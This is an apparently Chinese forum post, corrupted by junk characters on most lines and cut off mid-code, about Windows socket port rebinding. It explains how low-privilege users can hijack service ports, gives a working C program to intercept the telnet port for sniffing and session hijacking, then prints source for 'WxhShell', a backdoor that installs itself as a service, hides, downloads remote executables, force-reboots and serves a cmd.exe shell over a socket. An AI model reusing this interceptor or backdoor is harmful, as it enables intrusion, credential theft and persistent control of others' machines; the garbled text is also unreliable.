在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_u0dt) $ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Sa0\93oa >Vvc55z saddr.sin_family = AF_INET;
cW
RY[{v sXWMXQ3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
oaHBz_pg O_ cK4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0U<9=[~q7@ 2+.m44>Ti 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
z!%}0 A{QS+fa/ 这意味着什么?意味着可以进行如下的攻击:
bpzA '
g> gS%J`X$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}73H$ss: ;3!TOY"j;e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
VYBl0!t :MVD83?4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1gC=xMAT b+3pu\w` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.jCdJ
=z 4ZIXG,@mZJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&}]Wbk4:
)JPcSy* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Wg[`H=)Q t`?FSV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Q7C'O @ &Wba2fD #include
8P .! q #include
U;(&!Ei #include
G`pI{_-e #include
EQ28pAZ DWORD WINAPI ClientThread(LPVOID lpParam);
bke 1 F
' int main()
iG;6e~p {
x~W&a*WNT WORD wVersionRequested;
()rDM@ DWORD ret;
7G/"!ePW6` WSADATA wsaData;
pO^
6p% BOOL val;
(<ejJPWT SOCKADDR_IN saddr;
vq{:=:5'P SOCKADDR_IN scaddr;
R1nctA: int err;
8wBns)wy @ SOCKET s;
|^1eL I SOCKET sc;
jkbz8.K int caddsize;
6jn<YR
E-
HANDLE mt;
+RbCa
c DWORD tid;
j_}e%,} wVersionRequested = MAKEWORD( 2, 2 );
dCHU* 7DS err = WSAStartup( wVersionRequested, &wsaData );
olqHa5qn if ( err != 0 ) {
(HTVSC%= printf("error!WSAStartup failed!\n");
c[5>kQ-nq return -1;
vF_?1|*| }
0iYe>u saddr.sin_family = AF_INET;
xZkLN5I{ b;yhgdFx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"0
v]O~s u@o3p*bQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yCz?V[49 saddr.sin_port = htons(23);
aAX 8m if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s:jwwE2 {
HJ2]xe09 printf("error!socket failed!\n");
Z#F2<*+Pe return -1;
FOZqN K }
;{>z\6N val = TRUE;
W4N$]D= //SO_REUSEADDR选项就是可以实现端口重绑定的
8]0^OSS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'{J!5x?L^ {
#hai3>9|B printf("error!setsockopt failed!\n");
Hi?],5,/ return -1;
E_h 9y }
$,
=n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'?-GZ0oM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Jzr(A^vwo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U $+rlw} l_8t[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
s?=J#WV1y {
_h5@3>b3r ret=GetLastError();
5!AzEB printf("error!bind failed!\n");
i$ Zhk1 return -1;
Xdjxt?* }
*bZV4} listen(s,2);
!D1F4v[c= while(1)
?^yZVmAo] {
N%`ikdaTd caddsize = sizeof(scaddr);
*u-TNg //接受连接请求
yXDf;`J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
c=ZX7U if(sc!=INVALID_SOCKET)
E;h#3
B9 {
Q.!8q3` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^*iZN
=\ if(mt==NULL)
Gs-' {
\
X uu|] printf("Thread Creat Failed!\n");
md<%Z4+ break;
8zr)oQ: }
LaLA}1!
}
I@[.W!w CloseHandle(mt);
-0>@jfP^D }
hG3b7!^#g closesocket(s);
&359tG0@P WSACleanup();
WhvO-WF return 0;
`/#6k> }
GXsHc, DWORD WINAPI ClientThread(LPVOID lpParam)
x5{ zGv.j {
Yh4e\]ql~N SOCKET ss = (SOCKET)lpParam;
L!5%;!>.P SOCKET sc;
vK|dP3 unsigned char buf[4096];
>V NMQ SOCKADDR_IN saddr;
xGz$M@f long num;
R,tR{| 8 DWORD val;
wWwY.}j DWORD ret;
KaOS!e' //如果是隐藏端口应用的话,可以在此处加一些判断
HmQuRW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y,?rykRj saddr.sin_family = AF_INET;
-[ F<u saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N>VA`+aFR saddr.sin_port = htons(23);
n-p|7N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Cgt{5 {
Y0U:i.) printf("error!socket failed!\n");
p=eSHs{>A return -1;
M,6m* }
(/c9v8Pr(7 val = 100;
3q<\
\8Y* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aWW|.#L {
r lW ret = GetLastError();
)V+;7j<"D return -1;
>?I[dYzut }
g,9o'fs`x if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J8(v65 {
U2!9Tl9". ret = GetLastError();
{ImZ><xe/ return -1;
wz;IKdk[ }
Dk8"
H>* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.|cQ0:B[ {
7+@:wX\ printf("error!socket connect failed!\n");
^cd+W? closesocket(sc);
4K:p closesocket(ss);
7LKNEll return -1;
y1f&+y9e }
zZseK while(1)
sJ!AI
n< {
p ^T0(\1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$--W,ov5j //如果是嗅探内容的话,可以再此处进行内容分析和记录
4R@3jGXb8q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`2Vc*R num = recv(ss,buf,4096,0);
}7k+tJ< if(num>0)
Fn$EP:> send(sc,buf,num,0);
+.5 /4? else if(num==0)
|no '^ break;
*cJ GrLC num = recv(sc,buf,4096,0);
9aYCU/3 if(num>0)
H 2\KI( send(ss,buf,num,0);
d+Pfi)+(I else if(num==0)
BY6QJkI9x break;
PWx2<t<;9 }
&`GQS| closesocket(ss);
_=8x?fC:rl closesocket(sc);
wF[^?K ' return 0 ;
jbGP`b1_ }
%YA=W=Yd ma vc$!y rl[&s\[ ==========================================================
O$LvHv! [@_}BZk 下边附上一个代码,,WXhSHELL
! ai, \ 8E ^yHd4Y ==========================================================
p'ukV(B gVl%:Ra% #include "stdafx.h"
D?;$:D" Jah~h44& #include <stdio.h>
*h$Z:p-g #include <string.h>
aB+Ux<
- #include <windows.h>
PJsiT4< #include <winsock2.h>
},ef( #include <winsvc.h>
D~G24k6b3 #include <urlmon.h>
?,O{,2} D*I%=);B_ #pragma comment (lib, "Ws2_32.lib")
?(n|ykXwc #pragma comment (lib, "urlmon.lib")
la[xbv [0w@0?[ #define MAX_USER 100 // 最大客户端连接数
`c ^2 #define BUF_SOCK 200 // sock buffer
}L3k pw #define KEY_BUFF 255 // 输入 buffer
N{ @B@] D<]z.33 #define REBOOT 0 // 重启
-P^ 6b( #define SHUTDOWN 1 // 关机
nPD5/xW rB~x]5TH #define DEF_PORT 5000 // 监听端口
KAT4C 4=, ,GA2K .:# #define REG_LEN 16 // 注册表键长度
8.ll]3)) #define SVC_LEN 80 // NT服务名长度
swntz 5\A[ra // 从dll定义API
_t_X` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
mvyqCOp 0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_jQ"_Ff typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4jfkCU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6V
KsX+sd Uo#%f+t // wxhshell配置信息
MD%_Z/NL struct WSCFG {
t-)C0< int ws_port; // 监听端口
l}A8 char ws_passstr[REG_LEN]; // 口令
.;8T* int ws_autoins; // 安装标记, 1=yes 0=no
9#IKb:9k char ws_regname[REG_LEN]; // 注册表键名
al.~[T-O+ char ws_svcname[REG_LEN]; // 服务名
y+hC !- char ws_svcdisp[SVC_LEN]; // 服务显示名
$WI=a-;_e char ws_svcdesc[SVC_LEN]; // 服务描述信息
DBI[OG9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`BG{\3> int ws_downexe; // 下载执行标记, 1=yes 0=no
JBo/<W#| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rhGHR5
g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|[7xTD ,b%T[s7 };
llXyM */ T\55uQ // default Wxhshell configuration
bwR24>8lP struct WSCFG wscfg={DEF_PORT,
hz\Fq1 "xuhuanlingzhe",
V\^3I7F 1,
yCy4t6`e "Wxhshell",
,A
T!:&<X "Wxhshell",
NguJ[ "WxhShell Service",
0'{0kE[wn "Wrsky Windows CmdShell Service",
/f@VRME "Please Input Your Password: ",
nw){}g 1,
!/^i\)j>]( "
http://www.wrsky.com/wxhshell.exe",
.H
{ "Wxhshell.exe"
`j{q$Y=AG };
l8/ tR 2 |
$ // 消息定义模块
mf^=tZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
i/N4uq}'A< char *msg_ws_prompt="\n\r? for help\n\r#>";
[4KW64%l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0wU8PZ Nj char *msg_ws_ext="\n\rExit.";
$@<qaR{t \ char *msg_ws_end="\n\rQuit.";
8.3888 char *msg_ws_boot="\n\rReboot...";
B#9rqC char *msg_ws_poff="\n\rShutdown...";
Z[[o u?c char *msg_ws_down="\n\rSave to ";
-]\cUQ0 (\}>+qS[ char *msg_ws_err="\n\rErr!";
^|M\vO char *msg_ws_ok="\n\rOK!";
TO7%TW{L !*_5 B' char ExeFile[MAX_PATH];
v<c~
'?YzO int nUser = 0;
Bt[OGa(q HANDLE handles[MAX_USER];
}>Gnpc int OsIsNt;
P~$FgAV {h5 S=b SERVICE_STATUS serviceStatus;
;O5p>o SERVICE_STATUS_HANDLE hServiceStatusHandle;
6Y<'Lyg/ _R-[*ucq // 函数声明
I?nj_ as int Install(void);
(;T$[ru` int Uninstall(void);
!{tkv4 int DownloadFile(char *sURL, SOCKET wsh);
,y@`wq>O int Boot(int flag);
>Ng7q?h
void HideProc(void);
^_BHgbS%; int GetOsVer(void);
JfS:K' int Wxhshell(SOCKET wsl);
SV*h9LL void TalkWithClient(void *cs);
&"]Uh int CmdShell(SOCKET sock);
!4cO]wh5 int StartFromService(void);
69AgPAv<k int StartWxhshell(LPSTR lpCmdLine);
H)tnxD0) 3#o!K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s\A"B#9r VOID WINAPI NTServiceHandler( DWORD fdwControl );
Q|/uL`_ni 8q*MhH>6I // 数据结构和表定义
U9GmkXRix SERVICE_TABLE_ENTRY DispatchTable[] =
pcwkO {
mVFz[xI {wscfg.ws_svcname, NTServiceMain},
$xqI3UaX {NULL, NULL}
<Hw)},_* };
%"Tn=fZIF 'wB6- // 自我安装
7A'd55I4 int Install(void)
rV.04m, {
JbN@AX:% char svExeFile[MAX_PATH];
~"F83+RDe HKEY key;
CMn&1 strcpy(svExeFile,ExeFile);
dXR70/ Qwl=/<p1 // 如果是win9x系统,修改注册表设为自启动
<8Y;9N|94! if(!OsIsNt) {
"e.QiK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8 Yfg@"Tn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l`D^)~o8 RegCloseKey(key);
."9t<<! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s6Ox!)& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zo`Ku+RL2' RegCloseKey(key);
VbR/k,Co return 0;
AY{#!RtV }
wT/TQEgz }
*opf~B_e }
C%P)_)--V else {
CMI'y(GN ivL}\~L // 如果是NT以上系统,安装为系统服务
5y]1v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vowU+Y if (schSCManager!=0)
y+D 3(Bsn {
2D|2/ >[ SC_HANDLE schService = CreateService
Omy4Rkj8bh (
M ,qX schSCManager,
;4XvlcGo wscfg.ws_svcname,
Bc%A aZ0x wscfg.ws_svcdisp,
e45gjjts SERVICE_ALL_ACCESS,
-WiOs;2~/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YNV!(>\GE SERVICE_AUTO_START,
py#` SERVICE_ERROR_NORMAL,
nd)Z0%xo svExeFile,
h!# (. P NULL,
wcGI2aflD NULL,
#D8Z~U,- NULL,
E#3KWp#M NULL,
]iu}5]?) NULL
+oKp>- );
Fe8JsB- if (schService!=0)
EX^}#|e*h {
BxR%\ CloseServiceHandle(schService);
z"/Mva3| CloseServiceHandle(schSCManager);
4u}"ng
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|GPR3%9 strcat(svExeFile,wscfg.ws_svcname);
27mGX\T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!O=?n<Ex" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=@%;6`AVcp RegCloseKey(key);
B&^WRM;7t return 0;
ke.{wh\0 }
jIY
}
V=yRE CloseServiceHandle(schSCManager);
gp07I{0~m }
v@zpF)| }
"E`;8SZa %ux%=@% return 1;
QoZ7l]^ }
b~F(2[o xs<~[l // 自我卸载
3#fu;??1. int Uninstall(void)
7P3PQ%: {
b=:$~N@Y HKEY key;
_isqk~ ul TMt,\gTd if(!OsIsNt) {
=gI;%M\' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8`bQ,E+2 RegDeleteValue(key,wscfg.ws_regname);
|$[WnYP RegCloseKey(key);
Q`$Q(/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LW?Zd= RegDeleteValue(key,wscfg.ws_regname);
LxqK@Q<B RegCloseKey(key);
,(aOTFQS return 0;
7U=|>)Q0s }
G9?6qb: }
^X2U
A{ }
?f1PQ else {
*69yB /8!s
C D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5#jna9Xc if (schSCManager!=0)
HN'r
ZAZ( {
=)Z!qjf1U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f1R&Q if (schService!=0)
rNzsc|a: {
1rhsmcE if(DeleteService(schService)!=0) {
1d49z9F CloseServiceHandle(schService);
@8zp(1. CloseServiceHandle(schSCManager);
@V$,H/v: return 0;
C+{du^c$ }
*We.?"X']. CloseServiceHandle(schService);
?O1:-vpZ }
f"XFf@! CloseServiceHandle(schSCManager);
k<b`v&G }
u15-|i{y7 }
">b~k;M? >FtW~J"X return 1;
a
}6Fj&hj }
KM$5ZbCF: ?VM# Nf\ // 从指定url下载文件
Dd+ f,$ int DownloadFile(char *sURL, SOCKET wsh)
sA18f2 {
8J|pj4ce HRESULT hr;
CbK&.a char seps[]= "/";
_=0;5OrK1X char *token;
gcImk0NIY char *file;
p/V char myURL[MAX_PATH];
+3VDapfin char myFILE[MAX_PATH];
_Q<wb8+/ x<)%Gs}tb strcpy(myURL,sURL);
S312h'K
j token=strtok(myURL,seps);
F?j;3@z[A while(token!=NULL)
4m++>q {
^+Ez[S{8 file=token;
ejj|l
token=strtok(NULL,seps);
>:l;W4j }
oo\0X YJgw%UVJ5m GetCurrentDirectory(MAX_PATH,myFILE);
JL~QE-pvD strcat(myFILE, "\\");
b`Wn98s strcat(myFILE, file);
z-G|EAON"/ send(wsh,myFILE,strlen(myFILE),0);
&y1' J send(wsh,"...",3,0);
?p{xt$<p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0x'-\)v>3 if(hr==S_OK)
i<D}"h| return 0;
%hK?\Pg3=E else
NN5V|#
P} return 1;
&s!"pEZWck G9\Bi-'ul }
Y""-U3;T~ Wpom {- // 系统电源模块
9kPwUAw int Boot(int flag)
oF/5mh__(K {
9%\<x HANDLE hToken;
]d"4G7mu`l TOKEN_PRIVILEGES tkp;
H[o'j@0 &]~z-0`$! if(OsIsNt) {
@+",f] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G'XlsyaWrb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bw#zMU^E tkp.PrivilegeCount = 1;
4QWDuLu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9H*$3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
sg12C if(flag==REBOOT) {
SdUtAC2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*(ex:1sW return 0;
qE6:`f }
ie$QKoE else {
8?']W\) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HMNjQ
1y return 0;
*[*#cMZ }
6G"AP~|0 }
*BVkviqxz else {
sm}q&m]ad if(flag==REBOOT) {
6w K= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7Z>u|L($m return 0;
GCrh4rxgg }
|0(Z)s, else {
b:7;zOtF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i;^
e6A> return 0;
CAY^ `K! }
c1wM " }
aKaqi}IT ".| 9h return 1;
>]"5K<-1 }
KdFQlQaj @Z!leyam // win9x进程隐藏模块
[ (tgoh/ void HideProc(void)
tklU
zv {
JGZ,5RTq4- xMtl<Na
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
?n/:1LN, if ( hKernel != NULL )
h 88iZK {
f(DGC2R
< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
A<iF37. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
e =&
abu FreeLibrary(hKernel);
yY*OAC }
AW6]S*rh v:CYf_ return;
)8&Q.? T }
EA75
D&>I _6qf>=qQ`" // 获取操作系统版本
BW:&AP@B int GetOsVer(void)
D`e!CprF {
xXZ$#z\Z, OSVERSIONINFO winfo;
{Cs~5jYz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G5zZf~r GetVersionEx(&winfo);
ksY^w+>(! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-w 2!k return 1;
qsFA~{o. else
oypq3V=5 return 0;
XPzwT2_E }
=,-80WNsX 6fPuTQ}fY> // 客户端句柄模块
,e>C)wq; int Wxhshell(SOCKET wsl)
M#})
{
/'E+(Y&:J SOCKET wsh;
$${ebt struct sockaddr_in client;
$ sEe0 DWORD myID;
.)})8csl.d j]J2,J while(nUser<MAX_USER)
qfppJ8L {
s;}';# int nSize=sizeof(client);
Mim 9C]h( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e@p` -;< if(wsh==INVALID_SOCKET) return 1;
dz5bW> -J!F((jt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
]*juF[r( if(handles[nUser]==0)
4_PMl6qo closesocket(wsh);
6,_CL M else
ekI1j%fO nUser++;
` ]WU=Ss }
UOF5&>MLb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
S~YrXQ{_>- nP'ab_>b return 0;
<3HW!7Ad1 }
zDa*n:S w[PW-m^` // 关闭 socket
h'UWf"d void CloseIt(SOCKET wsh)
E( 8!VY ^ {
FO3!tJ\L closesocket(wsh);
.IpwTke' nUser--;
@[zPN[z. ExitThread(0);
/RmLV }
fLc<}DF nT|fDD| // 客户端请求句柄
('
`) m void TalkWithClient(void *cs)
dSIMwu6u {
kp<9o!?) 9]|[z{v'>l SOCKET wsh=(SOCKET)cs;
HtY\!_Ea char pwd[SVC_LEN];
XFYCPET char cmd[KEY_BUFF];
:BMU c-[ char chr[1];
wi*Ke2YKP int i,j;
Jd1eOeS tDEpR while (nUser < MAX_USER) {
%~Nf,
IIop"6Ko if(wscfg.ws_passstr) {
o,bV.O.W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7_#v_ A^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1P8$z:|~ //ZeroMemory(pwd,KEY_BUFF);
mg'-]>$ $] i=0;
3zWY%(8t4? while(i<SVC_LEN) {
_PNU*E%s< F1Egcx/$V // 设置超时
t47 f$gq fd_set FdRead;
34JkB+#a struct timeval TimeOut;
c)@M7UK[ FD_ZERO(&FdRead);
4CX * FD_SET(wsh,&FdRead);
S)g5Tu) TimeOut.tv_sec=8;
L=Dx$#| TimeOut.tv_usec=0;
MrOW&7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.&r]
?O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
n0Ze9W+< e"^1- U\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
MB^b)\X pwd
=chr[0]; n{4&('NRFP
if(chr[0]==0xd || chr[0]==0xa) { P[XE5puC
pwd=0; tm+}@CM^.
break; !nuXK
}
Q:_pW<^
i++; RG*Nw6A
} s%4)}w;z
Y ;&Cmi
// 如果是非法用户,关闭 socket Ks7s2 vK^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vGm;en
} +/Y)s5@<
zb9d{e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4D\_[(P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A|RAMO@le
4Iy\
while(1) { J|6aa
ynP^|Ou
ZeroMemory(cmd,KEY_BUFF); Qt>yRt
8VMq>-
// 自动支持客户端 telnet标准 oVC~RKA*
j=0; b;soMilz
while(j<KEY_BUFF) { K3
]hUe#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,8$;|#d
cmd[j]=chr[0]; m}
Yf6:cr
if(chr[0]==0xa || chr[0]==0xd) { u{6*}6@fi
cmd[j]=0; OY"{XnPZ
break; /jj}.X7yH
} [&+wW
j++; !EpP-bq'*
} Grjm9tbX}
Fzu"&&>0$
// 下载文件 #+Vvf
if(strstr(cmd,"http://")) { JvHJ*E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); uY
"88|
if(DownloadFile(cmd,wsh)) .6vQWt7@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PFEi=}Y@((
else lX5(KUN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 83TN6gW
} qQpR gzw
else { $)7-wCl</
p(0!TCBs
switch(cmd[0]) { 7z%zXDe~T[
`]tXQqD
// 帮助 AFMAgf{bD
case '?': { rxa8X wo8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _HGDqjL
break; MHxv@1)K|Y
} I9>1WT<Yy
// 安装 5[/*UtB
case 'i': { Y=}b/[s6;
if(Install()) t}'Oh}CG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [%QJ6
else ;! CQFJ=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zyCl`r[}
break; .4-;
} ;AG5WPI
// 卸载 CH9#<?l
case 'r': { 7qzI]
if(Uninstall()) [IV8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ns1u0$fg
else \f{C2d/6j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*U\79H
break; AeUwih.
4
} FirmzB Il5
// 显示 wxhshell 所在路径 A E7>jkHB
case 'p': { 7Bmt^J5i&t
char svExeFile[MAX_PATH]; C'5i>;
strcpy(svExeFile,"\n\r"); :Z=A,G
strcat(svExeFile,ExeFile); MWhFNfS8=
send(wsh,svExeFile,strlen(svExeFile),0); IL>Gi`Y&
break; {SROg;vA
} vn,L),"=
// 重启 ~9'VP}\
case 'b': { z@iY(;Qo
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B~~rLo:a
if(Boot(REBOOT)) oPWvZI(\&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .[O*bk
else { T+2?u.{I
closesocket(wsh); =AR'Pad
ExitThread(0); 9*,5R,#
} *AxKV5[H
break; \:"s*-
} Sf*VkH
// 关机 ,VHvQU
case 'd': { im1]:kr7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I{1w8m4O6
if(Boot(SHUTDOWN)) KgKV(q=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'D6lkf0
else { 0V`/oaW;
closesocket(wsh); TH6g:YP`7
ExitThread(0); KUuwScb\
} k87B+0QEL
break; 1~5={eI
} Qiw Zk<rb
// 获取shell eKLxNw5
case 's': { PU-;Q@< E
CmdShell(wsh); U15Hq*8Z
closesocket(wsh); yY,.GzIjCj
ExitThread(0); YjG0: 9
break; l<qxr.X
} ]p#Zdm1EL
// 退出 KN+*_L-
case 'x': { TXy*- <#vR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5(DCq(\P*
CloseIt(wsh); R8HA X
break; *(r85lEou)
} ;%U`lE0
// 离开 T]E$H, p
case 'q': { qtgj"4,:`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); LW,!B.`@
closesocket(wsh); m'429E]\S
WSACleanup(); k,q` ^E8k
exit(1); O
gycP4z[
break; ~8|$KD4I
} ;GE0iSC
} L@[bgN`=v
} +%>L;'L
^X
][_:{ N/
// 提示信息 9$d (`-&9p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L!e@T'
} 78NAcP~6c
} "w_(p|c m=
ew"[]eZ:ut
return; u`
} v8wN2[fC
d5WE^H)E.
// shell模块句柄 I#9K/[
int CmdShell(SOCKET sock) =#>P!
{ qLPI^g,
STARTUPINFO si; } 10Dvt>+
ZeroMemory(&si,sizeof(si)); wePMBL1P*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w|$;$a7)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JXvHsCd?
PROCESS_INFORMATION ProcessInfo; {`1zVT p[<
char cmdline[]="cmd"; [i&tE.7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lUWjm%|
return 0; Q>z0?%B
} B"{CWH O
%`gqV9a
// 自身启动模式 6o6m"6
int StartFromService(void) Ob(j_{m
{ -8TJ~t%w4
typedef struct T>LtN
{ Q0M8}
DWORD ExitStatus; -|ee=BV
DWORD PebBaseAddress; 1zl@$ Nt
DWORD AffinityMask; Wc+ e>*
DWORD BasePriority; r5F#q
ULONG UniqueProcessId; y6G[-?"/Q
